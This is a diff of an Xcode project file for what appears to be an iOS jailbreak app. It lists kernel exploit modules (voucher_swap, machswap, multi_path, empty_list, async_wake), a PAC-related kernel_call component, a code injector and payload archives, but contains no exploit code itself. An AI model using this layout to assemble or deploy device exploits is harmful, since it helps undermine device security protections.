21C0FC8221369EE900849420 /* KernelOffsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelOffsets.h; sourceTree = "<group>"; };
|
||||
21C0FC8321369EE900849420 /* KernelMemory.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = KernelMemory.h; sourceTree = "<group>"; };
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = empty_list_sploit.c; sourceTree = "<group>"; };
|
||||
21C0FC8621369EE900849420 /* offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = offsets.m; sourceTree = "<group>"; };
|
||||
21C0FC8621369EE900849420 /* KernelOffsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = KernelOffsets.m; sourceTree = "<group>"; };
|
||||
21C0FC8B21369FC500849420 /* common.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = common.h; sourceTree = "<group>"; };
|
||||
21C0FC8C2136A0D100849420 /* qilin.o */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.objfile"; path = qilin.o; sourceTree = "<group>"; };
|
||||
21C0FC8D2136A0D100849420 /* QiLin.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = QiLin.h; sourceTree = "<group>"; };
|
||||
21C0FC8F2136A2C500849420 /* iokit.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = "<group>"; };
|
||||
21C0FC902136A46500849420 /* SpringBoardServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; path = SpringBoardServices.framework; sourceTree = "<group>"; };
|
||||
21C130DE214BC2880021AA9D /* unlocknvram.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = unlocknvram.c; sourceTree = "<group>"; };
|
||||
@@ -108,31 +165,44 @@
|
||||
21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SettingsTableViewController.m; sourceTree = "<group>"; };
|
||||
21C130E9214C03690021AA9D /* CreditsTableViewController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = CreditsTableViewController.h; sourceTree = "<group>"; };
|
||||
21C130EA214C03690021AA9D /* CreditsTableViewController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = CreditsTableViewController.m; sourceTree = "<group>"; };
|
||||
21C130FA214C1EBA0021AA9D /* untar.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = untar.c; sourceTree = "<group>"; };
|
||||
21C130FC214C1EC00021AA9D /* untar.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = untar.h; sourceTree = "<group>"; };
|
||||
21C13100214C20950021AA9D /* tar.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = tar.tar; sourceTree = "<group>"; };
|
||||
21C1310F214C2E570021AA9D /* strap.tar.lzma */ = {isa = PBXFileReference; lastKnownFileType = file; path = strap.tar.lzma; sourceTree = "<group>"; };
|
||||
21C13115214C510F0021AA9D /* lzma.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = lzma.tar; sourceTree = "<group>"; };
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = multi_path_sploit.c; sourceTree = "<group>"; };
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = multi_path_sploit.h; sourceTree = "<group>"; };
|
||||
21C1312E214D5A710021AA9D /* multi_path.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = multi_path.entitlements; sourceTree = "<group>"; };
|
||||
21CC3901227CDFDE0072D572 /* prefs.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = prefs.h; sourceTree = "<group>"; };
|
||||
21CC3902227CDFDE0072D572 /* prefs.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = prefs.m; sourceTree = "<group>"; };
|
||||
21CC3903227CDFDE0072D572 /* diagnostics.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = diagnostics.m; sourceTree = "<group>"; };
|
||||
21CC3904227CDFDE0072D572 /* diagnostics.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = diagnostics.h; sourceTree = "<group>"; };
|
||||
21E9642421A1DD6F000625F7 /* NSTask.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = NSTask.h; sourceTree = "<group>"; };
|
||||
21F4D70C21FC7A590070D5E0 /* patchfinder64.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = patchfinder64.c; path = patchfinder64/patchfinder64.c; sourceTree = SOURCE_ROOT; };
|
||||
21F4D70D21FC7A590070D5E0 /* patchfinder64.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = patchfinder64.h; path = patchfinder64/patchfinder64.h; sourceTree = SOURCE_ROOT; };
|
||||
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */ = {isa = PBXFileReference; lastKnownFileType = file; path = Painting_With_Chocolate.ttf; sourceTree = "<group>"; };
|
||||
227629A421C64E630060080A /* substrate-dummy.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = "substrate-dummy.deb"; sourceTree = "<group>"; };
|
||||
22C546AA21A8A8FD00EFC09C /* utils.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = utils.m; sourceTree = "<group>"; };
|
||||
21FF63C9224E5FDC008B76D9 /* offsetcache.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = offsetcache.c; path = "offset-cache/offsetcache.c"; sourceTree = SOURCE_ROOT; };
|
||||
21FF63CA224E5FDC008B76D9 /* offsetcache.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = offsetcache.h; path = "offset-cache/offsetcache.h"; sourceTree = SOURCE_ROOT; };
|
||||
21FFE0F4222E4C0600EC59B2 /* machswap_pwn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap_pwn.h; sourceTree = "<group>"; };
|
||||
21FFE0F5222E4C0600EC59B2 /* machswap_offsets.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = machswap_offsets.h; sourceTree = "<group>"; };
|
||||
21FFE0F6222E4C0600EC59B2 /* machswap_offsets.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap_offsets.m; sourceTree = "<group>"; };
|
||||
21FFE0F7222E4C0600EC59B2 /* machswap_pwn.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = machswap_pwn.m; sourceTree = "<group>"; };
|
||||
222AD59221FA731800DCBA2A /* FakeApt.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = FakeApt.m; sourceTree = "<group>"; };
|
||||
222AD59421FA732A00DCBA2A /* FakeApt.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = FakeApt.h; sourceTree = "<group>"; };
|
||||
225D142121E052960045493D /* ArchiveFile.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ArchiveFile.m; sourceTree = "<group>"; };
|
||||
225D142321E055E90045493D /* ArchiveFile.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ArchiveFile.h; sourceTree = "<group>"; };
|
||||
226689DA21EC145000262F66 /* archive.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = archive.h; sourceTree = "<group>"; };
|
||||
226689DB21EC145000262F66 /* libproc.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libproc.h; sourceTree = "<group>"; };
|
||||
226689DC21EC1C5A00262F66 /* libarchive.2.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libarchive.2.tbd; path = usr/lib/libarchive.2.tbd; sourceTree = SDKROOT; };
|
||||
22C546AA21A8A8FD00EFC09C /* utils.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = utils.m; sourceTree = "<group>"; wrapsLines = 1; };
|
||||
22C546AC21A8A91A00EFC09C /* utils.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = utils.h; sourceTree = "<group>"; };
|
||||
22C546B921A8D59C00EFC09C /* amfid_payload.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; path = amfid_payload.tar; sourceTree = "<group>"; };
|
||||
22C546C121A8D7DA00EFC09C /* resources.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = resources.deb; sourceTree = "<group>"; };
|
||||
22C546C221A8D7FA00EFC09C /* openssh.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = openssh.deb; sourceTree = "<group>"; };
|
||||
22C546C321A8D7FA00EFC09C /* ca-certificates.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = "ca-certificates.deb"; sourceTree = "<group>"; };
|
||||
22C546C421A8D7FA00EFC09C /* openssl.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = openssl.deb; sourceTree = "<group>"; };
|
||||
22C546C521A8D7FA00EFC09C /* cydia.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = cydia.deb; sourceTree = "<group>"; };
|
||||
22C546C621A8D7FA00EFC09C /* cydia-lproj.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = "cydia-lproj.deb"; sourceTree = "<group>"; };
|
||||
22CFED9121CDFE6B00A216BE /* libmis.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libmis.tbd; path = usr/lib/libmis.tbd; sourceTree = SDKROOT; };
|
||||
22F91CD921E02CF200B2FCAE /* inject.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; name = inject.m; path = Injector/inject.m; sourceTree = SOURCE_ROOT; };
|
||||
22F91CDA21E02CF300B2FCAE /* inject.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = inject.h; path = Injector/inject.h; sourceTree = SOURCE_ROOT; };
|
||||
22F91CDE21E02EB000B2FCAE /* snappy.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; name = snappy.h; path = snappy/snappy.h; sourceTree = SOURCE_ROOT; };
|
||||
22F91CE221E033A500B2FCAE /* libsnappy.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; name = libsnappy.c; path = snappy/libsnappy.c; sourceTree = SOURCE_ROOT; };
|
||||
51435080229E2F0C00446FBA /* Settings-Light.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = "Settings-Light.png"; sourceTree = "<group>"; };
|
||||
51F1DB22229ED54300B81A6F /* DarkMode-Dark.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = "DarkMode-Dark.png"; sourceTree = "<group>"; };
|
||||
51F1DB23229ED54400B81A6F /* Settings-Dark.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = "Settings-Dark.png"; sourceTree = "<group>"; };
|
||||
51F1DB26229F2AD200B81A6F /* RobotoMono-Regular.ttf */ = {isa = PBXFileReference; lastKnownFileType = file; path = "RobotoMono-Regular.ttf"; sourceTree = "<group>"; };
|
||||
51F1DB27229F2BC700B81A6F /* RobotoMono-Bold.ttf */ = {isa = PBXFileReference; lastKnownFileType = file; path = "RobotoMono-Bold.ttf"; sourceTree = "<group>"; };
|
||||
51F1DB28229F31C400B81A6F /* DarkMode-Light.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; path = "DarkMode-Light.png"; sourceTree = "<group>"; };
|
||||
51F1DB29229F31D300B81A6F /* DarkMode-Light.png */ = {isa = PBXFileReference; lastKnownFileType = image.png; name = "DarkMode-Light.png"; path = "../../../../DarkMode-Light.png"; sourceTree = "<group>"; };
|
||||
51F1DB2A229F325700B81A6F /* multi_path.entitlements */ = {isa = PBXFileReference; lastKnownFileType = text.plist.entitlements; path = multi_path.entitlements; sourceTree = "<group>"; };
|
||||
8D592A67218E47F60035D2BC /* Main.storyboard */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = file.storyboard; path = Main.storyboard; sourceTree = "<group>"; };
|
||||
/* End PBXFileReference section */
|
||||
|
||||
@@ -141,8 +211,12 @@
|
||||
isa = PBXFrameworksBuildPhase;
|
||||
buildActionMask = 2147483647;
|
||||
files = (
|
||||
2163BE2122A1DB4700518DD9 /* libsandbox.tbd in Frameworks */,
|
||||
21B421902261302F004C17CD /* MobileCoreServices.framework in Frameworks */,
|
||||
2171C4012222E3BB004E45C7 /* SystemConfiguration.framework in Frameworks */,
|
||||
216FDA1E220C5F5C0086D802 /* libz.tbd in Frameworks */,
|
||||
226689DD21EC1C5A00262F66 /* libarchive.2.tbd in Frameworks */,
|
||||
22CFED9221CDFE6B00A216BE /* libmis.tbd in Frameworks */,
|
||||
2170BD3721B193650059BD10 /* qilin.o in Frameworks */,
|
||||
2170BDCD21B332FC0059BD10 /* SpringBoardServices.framework in Frameworks */,
|
||||
2170BD3B21B193800059BD10 /* libMobileGestalt.tbd in Frameworks */,
|
||||
);
|
||||
@@ -168,57 +242,152 @@
|
||||
path = sys;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
213E78222208652B00FDF3B7 /* necp */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
213E78242208654700FDF3B7 /* necp.h */,
|
||||
213E78252208654700FDF3B7 /* necp.c */,
|
||||
);
|
||||
name = necp;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
214A1771224EBE4900588EC4 /* kerneldec */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
214A1774224EBE5400588EC4 /* kerneldec.cpp */,
|
||||
214A1772224EBE5400588EC4 /* kerneldec.h */,
|
||||
214A1773224EBE5400588EC4 /* lzssdec.cpp */,
|
||||
214A1775224EBE5400588EC4 /* lzssdec.h */,
|
||||
);
|
||||
name = kerneldec;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C6220212A6001C8677 /* empty_list */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
|
||||
);
|
||||
name = empty_list;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C7220212BC001C8677 /* multi_path */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */,
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */,
|
||||
);
|
||||
name = multi_path;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C8220212D1001C8677 /* async_wake */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */,
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */,
|
||||
212D8846216E4DF600A36DA5 /* early_kalloc.c */,
|
||||
212D8845216E4DF600A36DA5 /* early_kalloc.h */,
|
||||
212D8842216E4C4700A36DA5 /* find_port.c */,
|
||||
212D8843216E4C4700A36DA5 /* find_port.h */,
|
||||
);
|
||||
name = async_wake;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9C9220212E6001C8677 /* deja_xnu */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
|
||||
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
|
||||
);
|
||||
name = deja_xnu;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2150A9CA220212F8001C8677 /* voucher_swap */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2150A9DA22021348001C8677 /* kernel_alloc.c */,
|
||||
2150A9D122021347001C8677 /* kernel_alloc.h */,
|
||||
2150A9DB22021348001C8677 /* kernel_memory.c */,
|
||||
2150A9D822021348001C8677 /* kernel_memory.h */,
|
||||
2150A9D622021348001C8677 /* kernel_slide.c */,
|
||||
2150A9D322021347001C8677 /* kernel_slide.h */,
|
||||
2150A9CE22021347001C8677 /* log.c */,
|
||||
2150A9D522021347001C8677 /* log.h */,
|
||||
2150A9D922021348001C8677 /* parameters.c */,
|
||||
2150A9D022021347001C8677 /* parameters.h */,
|
||||
2150A9CF22021347001C8677 /* platform_match.c */,
|
||||
2150A9D722021348001C8677 /* platform_match.h */,
|
||||
2150A9D422021347001C8677 /* platform.c */,
|
||||
2150A9D222021347001C8677 /* platform.h */,
|
||||
2150A9CC22021330001C8677 /* voucher_swap.c */,
|
||||
2150A9CB22021330001C8677 /* voucher_swap.h */,
|
||||
213E7827220865A100FDF3B7 /* voucher_swap-poc.c */,
|
||||
213E7829220865BF00FDF3B7 /* voucher_swap-poc.h */,
|
||||
);
|
||||
name = voucher_swap;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21675B62214A68B700D20E2B /* Frameworks */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2163BE2022A1DB4700518DD9 /* libsandbox.tbd */,
|
||||
21B4218F2261302F004C17CD /* MobileCoreServices.framework */,
|
||||
2171C4002222E3BB004E45C7 /* SystemConfiguration.framework */,
|
||||
216FDA1D220C5F5C0086D802 /* libz.tbd */,
|
||||
226689DC21EC1C5A00262F66 /* libarchive.2.tbd */,
|
||||
22CFED9121CDFE6B00A216BE /* libmis.tbd */,
|
||||
211D0D84218DEF3E008745D8 /* libMobileGestalt.tbd */,
|
||||
);
|
||||
name = Frameworks;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
216F3F342228774D007DC1BC /* kernel_call */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
216F3F3C2228776E007DC1BC /* kc_parameters.c */,
|
||||
216F3F3B2228776D007DC1BC /* kc_parameters.h */,
|
||||
216F3F362228776D007DC1BC /* kernel_call.c */,
|
||||
216F3F392228776D007DC1BC /* kernel_call.h */,
|
||||
216F3F3A2228776D007DC1BC /* pac.c */,
|
||||
216F3F382228776D007DC1BC /* pac.h */,
|
||||
216F3F372228776D007DC1BC /* user_client.c */,
|
||||
216F3F352228776D007DC1BC /* user_client.h */,
|
||||
);
|
||||
name = kernel_call;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2170BD3421B192750059BD10 /* include */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2163BE1F22A1DB2400518DD9 /* sandbox.h */,
|
||||
219BF90422832DBC00A4B827 /* UIProgressHUD.h */,
|
||||
2150A9E322021381001C8677 /* mach_vm.h */,
|
||||
2150A9E422021381001C8677 /* ipc_port.h */,
|
||||
2150A9E52202138A001C8677 /* IOKitLib.h */,
|
||||
226689DA21EC145000262F66 /* archive.h */,
|
||||
226689DB21EC145000262F66 /* libproc.h */,
|
||||
211C372621CE2DD800ADBEA2 /* net */,
|
||||
211C372521CE2DD700ADBEA2 /* reboot.h */,
|
||||
211C372821CE2DD800ADBEA2 /* sys */,
|
||||
21C0FC8B21369FC500849420 /* common.h */,
|
||||
21C0FC8F2136A2C500849420 /* iokit.h */,
|
||||
21C0FC8D2136A0D100849420 /* QiLin.h */,
|
||||
21E9642421A1DD6F000625F7 /* NSTask.h */,
|
||||
21395357217CBA1000B17F8D /* MobileGestalt.h */,
|
||||
);
|
||||
path = include;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2170BD3521B192A30059BD10 /* libs */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21C0FC8C2136A0D100849420 /* qilin.o */,
|
||||
);
|
||||
path = libs;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2170BD3621B192B90059BD10 /* resources */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
227629A421C64E630060080A /* substrate-dummy.deb */,
|
||||
21C1312E214D5A710021AA9D /* multi_path.entitlements */,
|
||||
21466CDD21AEEC9200B99B4C /* spawn.deb */,
|
||||
21466CDB21AEEA3A00B99B4C /* injector.deb */,
|
||||
22C546C321A8D7FA00EFC09C /* ca-certificates.deb */,
|
||||
22C546C621A8D7FA00EFC09C /* cydia-lproj.deb */,
|
||||
22C546C521A8D7FA00EFC09C /* cydia.deb */,
|
||||
22C546C221A8D7FA00EFC09C /* openssh.deb */,
|
||||
22C546C421A8D7FA00EFC09C /* openssl.deb */,
|
||||
22C546C121A8D7DA00EFC09C /* resources.deb */,
|
||||
22C546B921A8D59C00EFC09C /* amfid_payload.tar */,
|
||||
2139534B21763A0B00B17F8D /* rsync.tar */,
|
||||
21C13115214C510F0021AA9D /* lzma.tar */,
|
||||
21C1310F214C2E570021AA9D /* strap.tar.lzma */,
|
||||
21C13100214C20950021AA9D /* tar.tar */,
|
||||
21FED6A42168DB460024BC95 /* Painting_With_Chocolate.ttf */,
|
||||
51F1DB26229F2AD200B81A6F /* RobotoMono-Regular.ttf */,
|
||||
51F1DB27229F2BC700B81A6F /* RobotoMono-Bold.ttf */,
|
||||
51F1DB28229F31C400B81A6F /* DarkMode-Light.png */,
|
||||
51F1DB22229ED54300B81A6F /* DarkMode-Dark.png */,
|
||||
51F1DB23229ED54400B81A6F /* Settings-Dark.png */,
|
||||
51435080229E2F0C00446FBA /* Settings-Light.png */,
|
||||
51F1DB29229F31D300B81A6F /* DarkMode-Light.png */,
|
||||
);
|
||||
path = resources;
|
||||
sourceTree = "<group>";
|
||||
@@ -226,49 +395,55 @@
|
||||
2170BDCB21B32FF10059BD10 /* source */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2199B8E6226B40BD00A8255D /* kalloc_crash */,
|
||||
214A1771224EBE4900588EC4 /* kerneldec */,
|
||||
21FF63C8224E5FCE008B76D9 /* offset-cache */,
|
||||
21FFE0F3222E4B1600EC59B2 /* machswap */,
|
||||
216F3F342228774D007DC1BC /* kernel_call */,
|
||||
213E78222208652B00FDF3B7 /* necp */,
|
||||
2150A9CA220212F8001C8677 /* voucher_swap */,
|
||||
2150A9C9220212E6001C8677 /* deja_xnu */,
|
||||
2150A9C8220212D1001C8677 /* async_wake */,
|
||||
2150A9C7220212BC001C8677 /* multi_path */,
|
||||
2150A9C6220212A6001C8677 /* empty_list */,
|
||||
21F4D70B21FC7A490070D5E0 /* patchfinder64 */,
|
||||
22F91CDC21E02D0B00B2FCAE /* snappy */,
|
||||
22F91CD821E02CC700B2FCAE /* injector */,
|
||||
2101395321A09BB700F9C5F2 /* hideventsystem.c */,
|
||||
2101395421A09BB700F9C5F2 /* hideventsystem.h */,
|
||||
21C130FC214C1EC00021AA9D /* untar.h */,
|
||||
21C130FA214C1EBA0021AA9D /* untar.c */,
|
||||
21A97FC42148103A00DC0023 /* kexecute.h */,
|
||||
21A97FC82148103B00DC0023 /* kexecute.m */,
|
||||
21A97FCC2148103B00DC0023 /* kutils.c */,
|
||||
21A97FC92148103B00DC0023 /* kutils.h */,
|
||||
21A97FCA2148103B00DC0023 /* patchfinder64.c */,
|
||||
21A97FCB2148103B00DC0023 /* patchfinder64.h */,
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */,
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */,
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */,
|
||||
21A97FCE2148103C00DC0023 /* remote_memory.h */,
|
||||
21C130DE214BC2880021AA9D /* unlocknvram.c */,
|
||||
21C130DF214BC2880021AA9D /* unlocknvram.h */,
|
||||
212D8849216E4EBE00A36DA5 /* async_wake.c */,
|
||||
212D8848216E4EBE00A36DA5 /* async_wake.h */,
|
||||
212D8846216E4DF600A36DA5 /* early_kalloc.c */,
|
||||
212D8845216E4DF600A36DA5 /* early_kalloc.h */,
|
||||
212D8842216E4C4700A36DA5 /* find_port.c */,
|
||||
212D8843216E4C4700A36DA5 /* find_port.h */,
|
||||
21C0FC8521369EE900849420 /* empty_list_sploit.c */,
|
||||
21C0FC8121369EE900849420 /* empty_list_sploit.h */,
|
||||
21C13117214D268F0021AA9D /* multi_path_sploit.c */,
|
||||
21C13118214D268F0021AA9D /* multi_path_sploit.h */,
|
||||
21C0FC8021369EE900849420 /* kmem.c */,
|
||||
21C0FC8321369EE900849420 /* kmem.h */,
|
||||
21C0FC8221369EE900849420 /* offsets.h */,
|
||||
21C0FC8621369EE900849420 /* offsets.m */,
|
||||
21C0FC6A21369EB700849420 /* AppDelegate.h */,
|
||||
21C0FC6B21369EB700849420 /* AppDelegate.m */,
|
||||
21C0FC6D21369EB700849420 /* ViewController.h */,
|
||||
21C0FC6E21369EB700849420 /* ViewController.m */,
|
||||
225D142321E055E90045493D /* ArchiveFile.h */,
|
||||
225D142121E052960045493D /* ArchiveFile.m */,
|
||||
21A97FC42148103A00DC0023 /* KernelExecution.h */,
|
||||
21A97FC82148103B00DC0023 /* KernelExecution.m */,
|
||||
21C0FC8021369EE900849420 /* KernelMemory.c */,
|
||||
21C0FC8321369EE900849420 /* KernelMemory.h */,
|
||||
21C0FC8221369EE900849420 /* KernelOffsets.h */,
|
||||
21C0FC8621369EE900849420 /* KernelOffsets.m */,
|
||||
21A97FC92148103B00DC0023 /* KernelUtilities.h */,
|
||||
21A97FCC2148103B00DC0023 /* KernelUtilities.c */,
|
||||
21C0FC7921369EB800849420 /* main.m */,
|
||||
21A97FC52148103B00DC0023 /* remote_call.h */,
|
||||
21A97FCD2148103B00DC0023 /* remote_call.c */,
|
||||
21A97FC62148103B00DC0023 /* remote_memory.c */,
|
||||
21A97FCE2148103C00DC0023 /* remote_memory.h */,
|
||||
21C0FC6D21369EB700849420 /* JailbreakViewController.h */,
|
||||
21C0FC6E21369EB700849420 /* JailbreakViewController.m */,
|
||||
21C130E4214BDDE20021AA9D /* SettingsTableViewController.h */,
|
||||
21C130E5214BDDE20021AA9D /* SettingsTableViewController.m */,
|
||||
21C0FC7921369EB800849420 /* main.m */,
|
||||
21C130E9214C03690021AA9D /* CreditsTableViewController.h */,
|
||||
21C130EA214C03690021AA9D /* CreditsTableViewController.m */,
|
||||
21C130DE214BC2880021AA9D /* unlocknvram.c */,
|
||||
21C130DF214BC2880021AA9D /* unlocknvram.h */,
|
||||
22C546AC21A8A91A00EFC09C /* utils.h */,
|
||||
22C546AA21A8A8FD00EFC09C /* utils.m */,
|
||||
222AD59421FA732A00DCBA2A /* FakeApt.h */,
|
||||
222AD59221FA731800DCBA2A /* FakeApt.m */,
|
||||
21CC3901227CDFDE0072D572 /* prefs.h */,
|
||||
21CC3902227CDFDE0072D572 /* prefs.m */,
|
||||
21CC3904227CDFDE0072D572 /* diagnostics.h */,
|
||||
21CC3903227CDFDE0072D572 /* diagnostics.m */,
|
||||
219C909E228703DA00AFA38A /* jailbreak.h */,
|
||||
219C909F228703DA00AFA38A /* jailbreak.m */,
|
||||
);
|
||||
path = source;
|
||||
sourceTree = "<group>";
|
||||
@@ -281,6 +456,15 @@
|
||||
path = frameworks;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
2199B8E6226B40BD00A8255D /* kalloc_crash */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
2199B8E7226B40C600A8255D /* kalloc_crash.h */,
|
||||
2199B8E8226B40C600A8255D /* kalloc_crash.c */,
|
||||
);
|
||||
name = kalloc_crash;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21C0FC5E21369EB700849420 = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
@@ -305,9 +489,9 @@
|
||||
2170BDCC21B330210059BD10 /* frameworks */,
|
||||
2170BDCB21B32FF10059BD10 /* source */,
|
||||
2170BD3621B192B90059BD10 /* resources */,
|
||||
2170BD3521B192A30059BD10 /* libs */,
|
||||
2170BD3421B192750059BD10 /* include */,
|
||||
8D592A67218E47F60035D2BC /* Main.storyboard */,
|
||||
51F1DB2A229F325700B81A6F /* multi_path.entitlements */,
|
||||
21C0FC7321369EB800849420 /* Assets.xcassets */,
|
||||
21C0FC7521369EB800849420 /* LaunchScreen.storyboard */,
|
||||
21C0FC7821369EB800849420 /* Info.plist */,
|
||||
@@ -315,6 +499,37 @@
|
||||
path = Undecimus;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21F4D70B21FC7A490070D5E0 /* patchfinder64 */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21F4D70C21FC7A590070D5E0 /* patchfinder64.c */,
|
||||
21F4D70D21FC7A590070D5E0 /* patchfinder64.h */,
|
||||
);
|
||||
name = patchfinder64;
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21FF63C8224E5FCE008B76D9 /* offset-cache */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
21FF63C9224E5FDC008B76D9 /* offsetcache.c */,
|
||||
21FF63CA224E5FDC008B76D9 /* offsetcache.h */,
|
||||
);
|
||||
name = "offset-cache";
|
||||
sourceTree = "<group>";
|
||||
};
|
||||
21FFE0F3222E4B1600EC59B2 /* machswap */ = {
|
||||
isa = PBXGroup;
|
||||
children = (
|
||||
